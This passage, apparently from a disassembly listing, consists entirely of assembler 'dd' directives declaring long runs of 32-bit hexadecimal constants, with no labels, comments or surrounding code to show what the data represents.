		dd 0E9DB291Ch, 4C0D1240h, 6EF5D7h, 9AC8CB55h, 40EDA63Dh
		dd 5F038h, 21D23BA3h, 0ECE7D535h, 0B5DA00E8h, 53C8CE4Eh
		dd 0EB0026E6h, 0CC81F61Fh, 73B1D16h, 5940FA79h,	8A20C076h
		dd 0A20F7729h, 209FB49Ah, 63D5DB16h, 157396h, 0E0E65A34h
		dd 565E2EADh, 0EC027900h, 0AAAE260Ah, 464803F3h, 143FC247h
		dd 0F53D5AF0h, 5B21A300h, 6B4D8698h, 62B00039h,	77094A43h
		dd 8C00E1CBh, 5C4EAB25h, 81D110h, 3AC0FCA3h, 4C19C5EAh
		dd 0C837B100h, 0F8358045h, 0C199006Ch, 0E23CA7E5h, 812C0AB6h
		dd 860039D8h, 65F9C2A2h
		dd 56C901D0h, 16FAAB04h, 1FDAC814h, 40B058h, 0B76685Eh
		dd 21EEF6h, 9737FDA5h, 3FD28CEAh, 9C001598h, 0EBAD1436h
		dd 1E7522D6h, 40973179h, 0C92328B4h, 0BA009FF7h, 66B03671h
		dd 7A459Eh, 4C5C42BBh, 17819092h, 46C3C801h, 0F3EB6B5h
		dd 7EBF70h, 606CF215h, 281A7BC6h, 236AD00h, 40479A39h
		dd 0C078DE78h, 90D47FBCh, 7707B465h, 0F55186C3h, 5F1CE2A0h
		dd 3F210062h, 96C3A60h,	0C30399A2h, 0AB262FE7h,	0BABEF011h
		dd 713700CCh, 327FB8C7h, 6700FDE9h, 0EB6FA7AAh,	9242C0h
		dd 0C254A694h, 7FF79570h, 3FC80D00h, 0DD81577Eh, 0FE11EC0Ah
		dd 735B07DFh, 506F7D3Ah, 0CD6E5F0Dh, 35EBB600h,	0F5B307B0h
		dd 0D2463956h, 0FD13E700h, 0C9E3494Bh, 98E2A200h, 0D9B46357h
		dd 0A5B60373h, 4F18DE6Ch, 87428380h, 531CF71Ch,	19A1F300h
		dd 3F2B9Ch, 550949EFh, 0CA17F172h, 90B7DA00h, 0CC02BCD4h
		dd 28420085h, 3C55D247h, 0AD07D343h, 8FBD5AC9h,	0E8D61BF0h
		dd 322600AEh, 9D0580B0h, 6C0006ECh, 0AC235FF3h,	0FC1950BAh
		dd 15D0001Fh, 0EBCB7A88h, 4EF6E704h, 0E89B860Eh, 9785230Ah
		dd 0A65EB062h, 0AD410177h, 0F8027C44h, 1275C86Dh, 9BF73F09h
		dd 0E5118088h, 3C2CB1B2h, 0AB00AFEEh, 68D67552h, 6F00EBDDh
		dd 4910DF6Ah, 0C49406h,	36586317h, 0EA3BA78Bh, 70E7A0Eh
		dd 0FDBB400Ch, 156CE7h,	0FF6694DBh, 0ACB769F5h,	0C0C3E400h
		dd 6C61811Fh, 0EA0B77D3h, 44A40075h, 82691302h,	0D63DC921h
		dd 0F8AB80CEh, 0A85D28A9h, 443B1D4Ah, 8FEDC009h, 5240DDC5h
		dd 0F4F13800h, 9DB3997Eh, 7D7600E8h, 491B4879h,	0D601124Ah
		dd 0CDE71742h, 2820BC85h, 3E1C000Ah, 0B61BB14Fh, 9E5846F5h
		dd 0C71F0088h, 0E6076155h, 0D080269h, 0BAA416A2h, 30846740h
		dd 8EAD0E00h, 0B097D9FEh, 17D11EC7h, 24CA6619h,	0AEA10355h
		dd 0E74E43h, 0A4D9F652h, 0BBC8A800h, 16E13B53h,	0C3700BCh
		dd 2D273C45h, 0A100ED60h, 7CB8D8ACh, 0A9354Fh, 0BEE691Eh
		dd 0CA5CCB8Ah, 874BA000h, 72092730h, 0D65300B5h, 331B281Ch
		dd 7E07732Eh, 0B44BB6F0h, 2BB36F90h, 54210BDCh,	7E001E26h
		dd 225586Ah, 155C107h, 0D560DD85h, 0F3F8EBh, 0C68F6564h
		dd 572683BDh, 228CFA00h, 359E2D78h, 0A94F0088h,	48CAC938h
		dd 90000FC7h, 13CF34A8h, 2D081AB6h, 0CA40686Ah,	0BE000A77h
		dd 1FFADF66h, 0E6031ACh, 6E91F414h, 20023BE7h, 9DD230Ch
		dd 0D077BA09h, 8B510035h, 0B211478h, 0F443707Ah, 250D3080h
		dd 3E0037FBh, 0AD29FF4Eh, 21B11Bh, 0E88B0F87h, 81D07384h
		dd 0FF33CF00h, 0EF921D4Eh, 609C0094h, 2280A43Eh, 5F011253h
		dd 0EE113AE8h, 1EE03940h, 37700F60h, 0BC404457h, 485022E0h
		dd 65342407h, 11408D5Eh, 90F86Fh, 3EDE60B2h, 9D9402BAh
		dd 7E61493Bh, 76843F00h, 1956F104h, 0D3D609BBh,	0DD8265h
		dd 0D125A1A8h, 409600E7h, 8A1D3977h, 0FC00CCB1h, 0BE84EDF7h
		dd 24DFBFh, 0BB885338h,	0BA669025h, 34732F00h, 7B9FB386h
		dd 0FEBF3CB1h, 0BC192A80h, 4913D225h, 783E971Fh, 23EFE8C0h
		dd 5D4F55h, 3F6E272h, 8446FCD3h, 173DA409h, 0AAB280D8h
		dd 4DDBCBh, 68A5C185h, 0F62C1A36h, 9660A00h, 2D27A31h
		dd 0C2D8002Bh, 80544A90h, 0EE007213h, 7117108Ch, 7A31E8D3h
		dd 0DF3F00B6h, 842FAA9Ch, 79079937h, 7A66759Ah,	0AD40EE77h
		dd 4E031Ch, 0EFD72D63h,	61E52C8Ah, 31FBF703h, 0E88BAACAh
		dd 0D5FC87h, 6C04CBF0h,	5BB53C47h, 0EBB3A500h, 0C31A3F29h
		dd 39AA00A7h, 0E7D0B0E0h, 0ED003651h, 0D0233B7h, 0F35CAD1h
		dd 0C6DF95A0h, 7E636140h, 52FA6F77h, 9139467Eh,	6AA68022h
		dd 4EBCFDB3h, 0D2C6000Eh, 5DEE0C8Bh, 2A008D97h,	96488CACh
		dd 3FBB49Bh, 61759D17h,	0CFC8DE2Dh, 27000167h, 94496EEAh
		dd 0CEB869h, 47FC38F9h,	0CB89E55Bh, 80449C3Ch, 0ADC057C2h
		dd 38EF73D2h, 0FB80C7F6h, 60FA16D4h, 0C400067Dh, 320508E7h
		dd 6A0B69h, 0FE33E189h,	3CA20A93h, 21097000h, 87A8CBF4h
		dd 831F0097h, 6FF56310h, 13004203h, 0C1F36BB2h,	0DE0A0Dh
		dd 0FE5FB6EAh, 2901DD64h, 0E8456003h, 0E011C359h, 0D3B771h
		dd 2083E8Ah, 0EAC7FC46h, 240051E4h, 8CFEE2BEh, 0E424192h
		dd 0E99D1439h, 0BA8B5A60h, 9B00DFB1h, 0F7807E94h, 48405DEh
		dd 1AFB9E04h, 9794C022h, 0C100DB33h, 0C25A3C2Bh, 0EA8A3645h
		dd 14E000F9h, 249D3A0Bh, 0C53959DBh, 0D28E000Ah, 0A530BB80h
		dd 0F9880091h, 63E16EC7h, 0EF1E1D85h, 75C01C83h, 0F93289Dh
		dd 9C4F03A5h, 179AAEACh, 0F425C0B4h, 0A97C603Eh, 83E9E207h
		dd 0A2B059F1h, 574888h,	975CD86Ah, 54ED0E2Eh, 2CA0441Ch
		dd 9A016503h, 0A3E590CFh, 91D4C0D4h, 0A6A1242Ah, 0CFEB301h
		dd 0E6B0C4F9h, 28702BF5h, 4F7D0101h, 0B17E372Ah, 0E7F3C8E3h
		dd 0D000D7F6h, 6AEFFBEDh, 77557A3Dh, 34F4007Bh,	2369B151h
		dd 0DE05C149h, 2D0117B3h, 0A8C7D31Ch, 18101CB9h, 32C5E0h
		dd 66DDA68Ah, 7A2ADF40h, 55BC1300h, 285957D3h, 1471FFh
		dd 0F3B37726h, 360603CEh, 0B012073Ah, 0D937FA98h, 0F87071EBh
		dd 820A00BEh, 40E8237Fh, 0EC008EBAh, 0A1909988h, 765EAF6h
		dd 54283891h, 5E6AB0C7h, 35000B7Bh, 83CBE6D3h, 0E21C62h
		dd 86C4E4Dh, 0DA442256h, 88E1E300h, 0B4D78050h,	96AD0043h
		dd 0A1BFCA10h, 0AC1C3B86h, 5540EF44h, 8BB5ED84h, 0DFA0083h
		dd 0A2D3DBA6h, 5D00A1ECh, 8972EF7Ch, 0F5CB031h,	0BF67F8ACh
		dd 0E4E93A40h, 9009961h, 1035A177h, 2FD459h, 51D59BDAh
		dd 0EFAE5CFAh, 0C38FD601h, 1FA07BBAh, 8C25F8h, 3061420Fh
		dd 5AE62487h, 0C7FBD900h, 8288337Ch, 66510072h,	1B032F29h
		dd 5C002E44h, 5436F08Dh, 4534E8h, 4E93E613h, 0F6476090h
		dd 80825A00h, 0EB3D258Ch, 0B9FB0184h, 5EDCB0A3h, 7831E48Bh
		dd 0ED148F0Bh, 0EF978018h, 3B6DAE76h, 2803DECAh, 5D058C4Ah
		dd 668427B8h, 0B7A35800h, 565E496Bh, 8A9F0088h,	0C21D6A22h
		dd 2AB8AC4Eh, 73243Ch, 0D1D86B9Eh, 6ECB34h, 2738A846h
		dd 0A3B15EE3h, 790FDE00h, 9386C605h, 31C09F72h,	233D9F55h
		dd 48661E39h, 755A82C0h, 0CAEE58h, 76691270h, 37B31735h
		dd 0B2E69107h, 0CED0A493h, 1D3FF60h, 2BD86386h,	0FD832D5Ch
		dd 0F048E851h, 0C6973200h, 0E206CBE3h, 1D4A1308h, 4D4C00B6h
		dd 399BE0ECh, 6258FB00h, 99319E30h, 0CC3D0554h,	808941C6h
		dd 0E8611A46h, 0C3D34700h, 11FA1BEDh, 0B35C07ECh, 0F12D98A1h
		dd 0EC2E4D54h, 313EC614h, 0E36400F6h, 806553E7h, 50D37CCEh
		dd 0F2CEC8h, 64F60D21h,	83E2BFB4h, 0B8AAAB00h, 8912A088h
		dd 9BC40091h, 7E411B8Fh, 7D005132h, 6C296FC8h, 0F885847Fh
		dd 9EC90ADBh, 8AC64Fh, 9C78D4ECh, 9001D1D2h, 0CB1F3E4Ch
		dd 0F8C49668h, 5EDA012Ah, 0A4976C76h, 50C7E449h, 73D30800h
		dd 2987B88Bh, 0AA1C00A8h, 5977E31Eh, 0D076793h,	557B495Ah
		dd 5CCD7500h, 0F5621CE5h, 0D3007B0Ch, 5944BABEh, 0D00EDDBh
		dd 92E9BF5Eh, 14B0984Eh, 88FD7950h, 2132B903h, 0DDA00C3Ah
		dd 5400CAB7h, 432889FBh, 0F4604E36h, 18023D6Dh,	3D91340Bh
		dd 32C0A90Eh, 0F06C661Eh, 0F7FBF200h, 9E05624Ah, 0D26F008Fh
		dd 3E748447h, 626208Dh,	0EC2817B1h, 9C83360Fh, 2796075h
		dd 28BD31h, 505D571Fh, 8C047DFFh, 0D2080126h, 0A9A04A00h
		dd 3411DBh, 3CBA36CDh
		dd 0D04831E7h, 0B566600h, 0C0E2930h, 46DD1E9Bh,	0FDC4F6Dh
		dd 38D8ED60h, 3B00C82Eh, 13594CB0h, 9203EA9h, 0D1BD897Ch
		dd 0D0B588h, 0EE6A23BFh, 8F03F41Bh, 90E6AB31h, 0E03BCBB6h
		dd 0F2012FF5h, 29A98DDh, 0C2144F02h, 4E60699Dh,	4A16D424h
		dd 0B5E01D1Eh, 0A1FC0096h, 0F7D5F2B1h, 6B0055ADh, 9BCBDFA8h
		dd 75ED3154h, 408B1F3Dh, 0CEA2C3B2h, 0F9A8567Ch, 0A0032E9h
		dd 4A9EE59Fh, 525B8Dh, 34FEC8BCh, 0BA06BD82h, 0A7E08900h
		dd 3F084E77h, 0CC58000Bh, 34A3CA9h, 0AB1C1E99h,	0DE4BB3DFh
		dd 75E805Bh, 62307Ah, 9F6365D5h, 0BFFF3625h, 40CF830Fh
		dd 0F32C60E2h, 763A0F72h, 75BA003Eh, 0DA22143Fh, 6001D62h
		dd 37E2A620h, 3FAC1EBFh, 6883B5F2h, 5492EA9Ah, 0CE4DC0FFh
		dd 5A009BA6h, 0F784A480h, 0E951672h, 648B93ADh,	77373800h
		dd 0C17DD9EBh, 52C2E00h, 520AA4BBh, 9DE86Bh, 3C34403Ah
		dd 975918F1h, 37087403h, 0B067C96Dh, 986F3193h,	55210066h
		dd 1833DE35h, 7303703Fh, 12374F1Bh, 91CE867h, 47810063h
		dd 5CCEDE13h, 0E9007FC7h, 0EC3D4D24h, 693F96h, 0DF0F472h
		dd 0FB936F02h, 0EBC88B00h, 0EE4AC050h, 74FEF2h,	8F75586Ah
		dd 7D8BC33Eh, 0DD43EF0Eh, 68A66024h, 752E4C42h,	0B3671EC5h
		dd 1DF100BAh, 0A6C832FDh, 84E4CE00h, 20B5B876h,	484F0036h
		dd 28ACDD2Dh, 0F700C477h, 1866F0BBh, 6CF94Bh, 0A5DF783Eh
		dd 690111E4h, 0F9905F7Ah, 30E734A3h, 0BA881F55h, 1B03F370h
		dd 3979343Bh, 8D5EC0D0h, 0EF91006Ah, 82156092h,	8F721F59h
		dd 5816BC05h, 0D3C02DCDh, 2EF917h, 3C1044F0h, 1D8D96FBh
		dd 1CEE1500h, 2D7122FEh, 0E1DF077Bh, 50573C60h,	0CBA6F136h
		dd 77009EFCh, 327B875Ch, 0B6D033h, 59A1748Fh, 3B105424h
		dd 0B3934500h, 424838C2h, 25FC3F0Fh, 0BBCAAE83h, 22B0B679h
		dd 6500669Bh, 4A71FF90h, 0C3C178h, 2C5C4317h, 8185305Eh
		dd 0C8BA2E00h, 4C60E8D4h, 0BFDE03AFh, 0D1D53EF7h, 0FFEA12C0h
		dd 0ED32AC07h, 8BD0EBADh, 1D3C0CEEh, 803BBB6Ch,	617C63D1h
		dd 790075A1h, 31C2CEFBh, 0D8CA93h, 340A6583h, 0B4784566h
		dd 5B4F8800h, 0B5AD396Bh, 42CD03F2h, 450F9059h,	94102F88h
		dd 359F962Ch, 287E9900h, 0FCD6112h, 0A9AFA589h,	6DA41043h
		dd 31BA9ED0h, 0A247A1Ch, 0D687083h, 0C463888Bh,	7D70E76h
		dd 87804941h, 296B9480h, 0B8AD000h, 4CFADEE4h, 1208001Bh
		dd 959C3990h, 0DA0194DBh, 744F857h, 0F460FD60h,	92290289h
		dd 0ECD59CCFh, 696E0560h, 0AF21BC00h, 0FB24AA54h, 0B1363C8Eh
		dd 2A18FF80h, 0AE0A1B3Bh, 0B5E15100h, 9E854A99h, 0B9E40082h
		dd 0EA7C38A5h, 0CF23ECCh, 4641830Eh, 79C4006Ah,	16BD8DD0h
		dd 1C23C6F8h, 39FF01E3h, 0ECCB2297h, 4F0F8E32h,	0BE6419h
		dd 463FBAFEh, 250F3ED8h, 7207C13Bh, 70D1344Bh, 0EA364D3Ah
		dd 9559FD00h, 14AE815Eh, 33060215h, 0ED637194h,	0A937F060h
		dd 73846126h, 0E895A00h, 0F5742B1h, 13F4DF9Dh, 0EB591160h
		dd 800BA56h, 9B27E8AAh,	2C3F2E61h, 1C227302h, 0D48ECE49h
		dd 0E5217880h, 220E5D85h, 0C135D177h, 6A5624C1h, 7A9F57F8h
		dd 0EB6E0010h, 89BC75DEh, 2F0E54C5h, 0C085C48Ah, 297EB790h
		dd 0EBB000CEh, 4A86C8BBh, 0C100274Fh, 6D3C28ADh, 0B09C6604h
		dd 8DBB006Ah, 7615FC11h, 0FDF605CFh, 0A6642A00h, 348F967Ah
		dd 0C7E00F1h, 0DBA0C43Ah, 0AF07ED17h, 0F33C0AC6h, 88047410h
		dd 45C50066h, 841829E9h, 51079BD2h, 0F2DC4213h,	6C321210h
		dd 2AE0005Eh, 886D8EF7h, 4300ABF9h, 3C0FA3AEh, 4A969Ah
		dd 15EDDC2Eh, 2136B803h, 9C324E38h, 7100D9C6h, 28011693h
		dd 9353DEEh, 0C0003A3Bh, 0D3A08CACh, 582E8D50h,	0E2135BBCh
		dd 7B543800h, 6D8BE7h, 0E32A0299h, 0EDABB87h, 0CDF07875h
		dd 9AD6B100h, 2560947Fh, 5222076Dh, 0A00AC71Dh,	0EEE6BF1Fh
		dd 409DFA00h, 3157F973h, 45AF0095h, 3DA50C24h, 0A9000A9Fh
		dd 218A1BBAh, 117E07Dh,	52A475BFh, 0C8ADD2B5h, 781ED668h
		dd 0C80841Fh, 0F9E30BCBh, 57B400AFh, 68931C89h,	592E3D3Eh
		dd 9701EF43h, 0C5D9A142h, 3E363D4h, 6EE4F90h, 0D2F84A34h
		dd 370005B6h, 3F40DDF1h, 0F828C1h, 0F2A47694h, 7832E048h
		dd 63777400h, 26B76E8Ah, 0F8E70002h, 1A46EFFCh,	0E273C119h
		dd 0F07311Eh, 0DDD83B40h, 7E3AEA7h, 7A2FB330h, 43CE064h
		dd 0B80E8E15h, 40B97397h, 0AD4178DCh, 0DE67384Ah, 9BDF2400h
		dd 7DA78BB0h, 5300BFE4h, 0D3E0ECACh, 722B42A4h,	6BE684h
		dd 0A28DC30Fh, 720755A1h, 0D2FE1100h, 4EDC4160h, 709F007Fh
		dd 0A087717Ah, 100E303h, 0F118CA9Ch, 36C1B6Ah, 0E24FE778h
		dd 79A0A02Dh, 2A00D4F7h, 0B73DB2E1h, 5BF72h, 92F9C297h
		dd 421AA31Bh, 91A4D6C1h, 9DCAE6Ah, 0DCE80494h, 80533BE9h
		dd 0BE291F14h, 18B7D500h, 0F437DC8h, 2C570790h,	0E0F71293h
		dd 13C023E9h, 2987BB00h, 496AE277h, 0AA2F00E6h,	0E7A27441h
		dd 42EADF05h, 0EFADE500h, 920E6CB3h, 9A0900AAh,	4DE08FB7h
		dd 0D2748386h, 1C53EF00h, 4BC234ACh, 37500045h,	0FAE9CA8h
		dd 0D300C60Dh, 686D4F9h, 0C5D47C8h, 0DCB52569h,	38044F36h
		dd 6B154678h, 9F91FEC0h, 17840020h, 83024A49h, 0A3F6CD7Dh
		dd 0EF714002h, 0E081C05Bh, 13EEC58h, 0F8F353E8h, 6A888BBDh
		dd 7D792F0h, 0B8A8D445h, 0BAE05FC3h, 7E89973Ch,	0AB1A6000h
		dd 26E01207h, 6ACF00CDh, 1D011C94h, 933DE30Ch, 4563809Ah
		dd 262C678Fh, 0C9FE014Fh, 885C038Bh, 0DFBCF440h, 0D1CDAB00h
		dd 43C4C1A8h, 84953A66h, 98560100h, 5F2FBDCBh, 0DB4E7C00h
		dd 3A297F99h, 91BE01D4h, 3051163h, 0F0C7D03Fh, 0C56F0C00h
		dd 0FAA03A1Ch, 36398ABh, 7DD4500Dh, 73E8D60Bh, 0B5E04982h
		dd 0A2624601h, 9129B1A5h, 0CA68D4h, 475DF5F9h, 4419673Bh
		dd 360E2BE6h, 277AF246h, 0C220CDD6h, 0E0FF2AE8h, 9A6A0073h
		dd 0CC88510Dh, 610B2F6Eh, 465C2DFh, 3C0F5A7h, 8DBF14h
		dd 0CA7997ACh, 0B2ED3073h, 2E01937Fh, 41963FDh,	6270BEE6h
		dd 35A600E4h, 25CA9AE0h, 750023A8h, 30C21C3Eh, 3E19905h
		dd 0D4010FB7h, 1F9B2F59h, 0A1360988h, 962C5A00h, 7B810327h
		dd 19010089h, 0C991BC28h, 0A3906899h, 845CF009h, 40D88FDAh
		dd 756F34E0h, 6C600A2h,	2EE70A8Bh, 2200620Bh, 717EA8DDh
		dd 39DBF6Ah, 1391183Eh,	0E0B8EB80h, 35001E53h, 8FA5A3CEh
		dd 0C78BF5h, 901A611Fh,	0FA69DDC0h, 126A5C0Eh, 0B6D4059h
		dd 675836h, 0B033306Bh,	9FAF3E97h, 21F98B00h, 0F26CD588h
		dd 761A005Eh, 0D16B5209h, 0EB7415B4h, 1F562600h, 0AB0408B3h
		dd 85060724h, 0E07F93FAh, 3ADC9D83h, 0DD6E7B00h, 0AB2739CAh
		dd 348226E2h, 67F90081h, 0AA8D805Bh, 1A072100h,	0CA88C70Eh
		dd 948700D3h, 9BB07355h, 7A00E7BEh, 0D2D7FB20h,	3A898C37h
		dd 2B8026B9h, 562C1FD6h, 7D007F47h, 0EC404FE3h,	3AFB7h
		dd 0AA74114Dh, 6F38A7AEh, 0D9C14100h, 8672F571h, 5C7A5Eh
		dd 2C70CF54h, 0BACC9FEFh, 0AAD7FD00h, 0E53A27C3h, 26101F39h
		dd 0C1D3406Dh, 9AD0B465h, 46A3D703h, 0E8D49822h, 7278284h
		dd 70DA5678h, 0ABBF90C2h, 5B00A91Ah, 0E7EFB27Bh, 736E46h
		dd 5718F9Eh, 4754D8BDh,	49E90F00h, 0B8C2AF7h, 689B00A8h
		dd 664D4AEh, 2C7A19D6h,	215B771Dh, 1B514C0h, 4D9BEAh, 816E7F33h
		dd 506836E7h
		dd 0D7E148h, 2F6FB070h,	3FDCF3C3h, 551CC8B9h, 0FF99C266h
		dd 9240B81Dh, 0D0009284h, 80A3F616h, 1553607h, 3E86E7DDh
		dd 602A0173h, 0CD1FFC5Fh, 0E10074D9h, 0F2256338h, 49C500C7h
		dd 561F15ECh, 0A400C4FEh, 0E1C309BFh, 352D28Ah,	0B3769791h
		dd 5F85EADh, 0AA007CFAh, 0AF0B034Ah, 0D9C25Ch, 0EEAB65F2h
		dd 4BDB998Fh, 4D347A00h, 0B594554Fh, 710A00FAh,	8AF30DACh
		dd 82F4E6B8h, 0E0F2BC00h, 0D4F89B69h, 26C7072h,	0A7240253h
		dd 3AC0EB1Ah, 1B03DDE2h, 68FA8070h, 449890D3h, 82631C19h
		dd 2407C002h, 0E90A2288h, 0E3B67A03h, 9B529EBAh, 0DCBFE81Dh
		dd 9D707897h, 0D900D278h, 0E6012353h, 7846B86h,	0EB220696h
		dd 78580028h, 6503CA0Ah, 0C27D5615h, 8A2C8853h,	73D986Bh
		dd 0ADD0C54Ch, 0B1D341E9h, 70FEC03h, 70565E03h,	0CF793FEFh
		dd 0CB12D5A3h, 0B08FC08Ah, 2ADF585Dh, 16FA6100h, 5BFD4224h
		dd 947A700h, 2FCAF74Ch,	0C65400CBh, 0DA07D14Ah,	9300EF59h
		dd 8B4919F8h, 0A6322h, 770E100Ch, 95600B88h, 0DA30DF00h
		dd 472B287Bh, 737AA6h, 5B5E6B4Ch, 0CBA8A51Fh, 0CA384B00h
		dd 4E83DE8Eh, 0DDD40040h, 0F12C24F0h, 8D006379h, 86D133E8h
		dd 5EA4574h, 0F9602DBBh, 2C96C0FCh, 9800255Bh, 0DDC1E1ABh
		dd 0A0677Ch, 0AC70D6B5h, 7AE38885h, 0FF332300h,	7E2EF483h
		dd 0F1FA0252h, 0B3D332D4h, 0B75D407Dh, 78FB394Ah, 93F64604h
		dd 80F5C088h, 0AF00701Ch, 0D74437CCh, 74F35F7h,	2D99A17Bh
		dd 0CE299183h, 0D1C1F10Fh, 9481D0ABh, 907BC0F7h, 38B3ED07h
		dd 851077D1h, 0E540CA7h, 3D16AE69h, 0B4D5D280h,	0F900CBF6h
		dd 0A37E21FDh, 0D32848h, 0A90B66ACh, 1E055A60h,	10FB4700h
		dd 9C9E0C73h, 6DEC0F03h, 1DA0E976h, 0A8C3393Eh,	73378B00h
		dd 0B64E8C51h, 0DEAF07E1h, 123D5472h, 5BE0E7C3h, 0F3004FE0h
		dd 558BF256h, 434E69h, 0C1AF9080h, 0B6E55F87h, 8DA4E705h
		dd 0D5804DDAh, 2859532Ch, 8016FFh, 3CFD2F89h, 27C7329Dh
		dd 2423B300h, 655EA852h, 0BCA100D4h, 7C51D598h,	0B9006FB6h
		dd 15EFC4F4h, 1637DACh,	45233C20h, 0EEC92E89h, 0BCDBBB40h
		dd 494E3303h, 8020EDFFh, 76537BFh, 8E2E9CE2h, 3D9F5058h
		dd 7A26578Ch, 0E300E896h, 5C2594AAh, 0ECDA00B2h, 0BF8AE50Fh
		dd 0C800695Bh, 0A4B80388h, 0E004A64Ch, 0AF7D6Ch, 6962EFF4h
		dd 1072DCABh, 48B70A00h, 0AFE64CF2h, 965C3F42h,	23DFD880h
		dd 0EECD9D07h, 80B5163Bh, 61A4329Eh, 0EE4FCA8Bh, 1742003Eh
		dd 8AB085A6h, 6D014A40h, 5E38050Fh, 0A0CF361Fh,	0EBA201h
		dd 0EC74312Ch, 59BF3F28h, 1442C314h, 0AB7202DFh, 0E05627F3h
		dd 73EB75h, 0D8F5AF10h,	64912DEh, 0A100E77Ah, 367A31F8h
		dd 57D0C8h, 5AC3B6ADh, 0C4AB96BFh, 0B7008776h, 5853EC3Fh
		dd 6F4CCh, 37AA4AF2h, 0F9DBFD01h, 0C476620Fh, 0AB9B40D0h
		dd 1E0A2D8h, 889478DCh,	0F8BF4C04h, 850E81B1h, 8F12682Fh
		dd 9B520F1h, 5FAFAEA4h,	7A40A888h, 2BDC8600h, 0E603D358h
		dd 7962250Ch, 7E00C8DCh, 0BB0A8309h, 29A33870h,	8A031D80h
		dd 72766732h, 0C4256403h, 0D8FA9922h, 86A0B7h, 463F952Fh
		dd 5BC310BCh, 1EDFE758h, 80BEEE3Bh, 0D407A7A1h,	383FF2D0h
		dd 0D685CA41h, 52977Fh,	2EC10B82h, 2207EF64h, 7277AE08h
		dd 340D86h, 466A1439h, 0AB3C17ACh, 0A3972900h, 551F8665h
		dd 0C18300B1h, 0B3794BC2h, 0E0000E58h, 30AC45A1h, 7D7E01h
		dd 0E54CB7A4h, 8C52F703h, 426EE90Fh, 0A51A8057h, 144CD43h
		dd 0F6C110F5h, 0E0EF0503h, 124F3D8Ah, 682C65ECh, 0D837182Fh
		dd 0E300DAAEh, 9D7AB95Dh, 3EDF54h, 42915CFh, 0B510EC07h
		dd 271D2800h, 9F32D3D4h, 127200D7h, 0FBD11BADh,	2900B0F4h
		dd 0EF7FE8CFh, 4DB363h,	0CA8A186Eh, 5B229BCDh, 8FBD090Eh
		dd 4E4B80F6h, 204F51Ch,	0C3DA779Eh, 9880813Dh, 0C9D84F9Dh
		dd 7E8E6E00h, 7019B8B7h, 808A0315h, 7F668F1Eh, 8D5488E8h
		dd 0BF724000h, 6D5BC851h, 18760085h, 0AE4441BDh, 32E2EC68h
		dd 4B00D2F8h, 93B9C43Bh, 452E5Bh, 9A61D086h, 0DD21E55Ch
		dd 0A003270h, 0AD22BE9Eh, 7EDC167h, 84B398C2h, 30A770CEh
		dd 710340A8h, 444BC0E8h, 0C6A48049h, 1BB304F0h,	807C4E25h
		dd 46013274h, 3C132979h, 3D027036h, 60900734h, 0AEE9D9h
		dd 0B221A632h, 0DFF50DCBh, 7F922E00h, 6B9DDA3Ch, 0C1D2008Bh
		dd 1E648D4Fh, 0B0050FF5h, 0FCED55DCh, 26D7F6C0h, 5114021Ch
		dd 64B17C4Fh, 339EC0DDh, 6A98015Fh, 0B7F344B9h,	0BFC0C4A8h
		dd 4CAD39h, 142B631Ch, 7C456A9Ah, 666103DCh, 69355C4Fh
		dd 0FC182D80h, 0C0B32A00h, 0B22E98B0h, 49A70EBBh, 9BEF3154h
		dd 0D885CDC0h, 45005077h, 0B8F2362Bh, 0E2D9Ah, 76FFA69h
		dd 0BD817094h, 1707F576h, 41B6F326h, 4B9255C0h,	23E007Fh
		dd 5650512Eh, 22033F34h, 23B47E90h, 3AB6A0A2h, 0DB8D0247h
		dd 8130C311h, 752CC0C0h, 7000FBB0h, 377DD05Fh, 5EBDF9h
		dd 0E6B25805h, 554A91AEh, 0C336F002h, 608FC501h, 50B8E063h
		dd 0ED69A14h, 56F6E38Dh, 62FD000h, 0D1E65BE5h, 39A97F00h
		dd 434CEA19h, 63D85C8Eh, 693B1300h, 159B63DFh, 0F648BB00h
		dd 97C4D747h, 212D0037h, 61246DE5h, 5700180Eh, 0E4C05F52h
		dd 70F0D2h, 26E890FAh, 9A4295A5h, 0BF94B600h, 1B6E4BCEh
		dd 0EEB40E34h, 0D6A03779h, 0D4352D85h, 9B129400h, 5C2B66CCh
		dd 0C7F6C4h, 0A7A0B20Ah, 0E6A4FA7Ch, 4DE7D903h,	978C3901h
		dd 0DB5BCEF0h, 2493585Ah, 0FA7F800h, 337C53EAh,	64816B00h
		dd 232BDACBh, 0D430071h, 0BBB94EF1h, 5100015Ah,	0B5DC9298h
		dd 3CAB824Dh, 0DB00523Bh, 8D390271h, 5B00A3C7h,	5C95CEA5h
		dd 9353C1h, 0F488FECCh,	9DB64AD5h, 79356700h, 0B0DDFAA2h
		dd 8CAE0091h, 0B81ACDD8h, 39005A6Eh, 0C18BED06h, 7F8020BEh
		dd 5D2010Dh, 25AA877Ch,	42B9FDC6h, 4340CDFFh, 3200F7F8h
		dd 0E1C98494h, 0F73097Ah, 0EA17939Ch, 0DB6169C3h, 797E1DE0h
		dd 591A0F00h, 0D2687FBFh, 63FA14h, 8CA66F72h, 0BD516710h
		dd 0C7128300h, 4C22108h, 0FA840040h, 74195796h,	750067FFh
		dd 0EAB7E04Dh, 34E5F4Ah, 56340A1Eh, 28E08BEEh, 2D0020ACh
		dd 0DDF612AAh, 80CC19h,	3390E17Ch, 0D0A1AE7Eh, 0D00697Ch
		dd 5609C9C0h, 8DE542h, 80600467h, 3C71FDE7h, 0CB6AB300h
		dd 79CFAD68h, 437D07B1h, 701BFB52h, 0EE1C47A3h,	36E1E400h
		dd 0E5013ACh, 0D9050089h, 0A6E6D327h, 0EA3994F8h, 0DD3381B7h
		dd 5495C16Ah, 7D78CCh, 0EDD54D52h, 56DB9153h, 9728F07h
		dd 6A30EA93h, 789430h, 7D1FFD54h, 8EE9E384h, 0F7483Fh
		dd 24E75337h, 7DD113Ah,	0EB8A76F4h, 86FCD0EFh, 0C701D94Eh
		dd 336C38BFh, 0A9ECC28Fh, 0DFD60066h, 53CC01F5h, 0E203453Fh
		dd 0F950839Eh, 6DD7B01Ah, 55FC38h, 3EF3F4C9h, 0EA356FB4h
		dd 1E0B5E7Dh, 0D5EDD425h, 16910300h, 653AD8A8h,	520680E8h
		dd 0D9D45A3h, 0F5EEA9h,	0F3512DAAh, 38FC3357h, 8B138472h
		dd 1FA1C94h, 5FDA4C28h,	0EFB2F81Ah, 0B6F64500h,	51601D4Bh
		dd 895401B3h, 0D1DA0C42h, 3C40245Ch, 6959D401h,	0B7B35A57h
		dd 76CE8ACCh, 0F4051FE3h, 41803BE0h, 0E225B417h, 0E7009D0Ah
		dd 57BF3EAh, 0D5A020h, 0C872B146h, 0D187139Bh, 3EB41000h
